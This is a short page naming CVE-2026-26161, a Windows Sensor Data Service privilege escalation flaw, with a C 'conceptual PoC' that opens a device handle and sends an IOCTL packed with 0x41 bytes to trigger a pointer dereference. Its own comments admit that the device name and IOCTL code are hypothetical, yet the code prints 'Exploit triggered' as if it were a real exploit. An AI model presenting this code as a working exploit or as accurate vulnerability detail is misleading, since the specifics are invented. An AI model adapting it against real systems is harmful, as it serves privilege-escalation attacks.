CVE-2026-26161 Windows传感器数据服务权限提升漏洞

// This is a conceptual PoC for Untrusted Pointer Dereference // Compile with: cl.exe poc.cpp #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x20]; // Fill buffer with controlled pointer address (e.g., 0x41414141) memset(buffer, 0x41, sizeof(buffer)); // Attempt to open the vulnerable device driver/service // Note: Device name is hypothetical for the Sensor Service hDevice = CreateFileA("\\\\.\\WindowsSensorService", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("Sending malicious payload to trigger pointer dereference...\n"); // Send the IOCTL to trigger the vulnerability // IOCTL code is hypothetical DeviceIoControl(hDevice, 0x222003, // Hypothetical IOCTL buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); printf("Exploit triggered. Check system status.\n"); CloseHandle(hDevice); return 0; }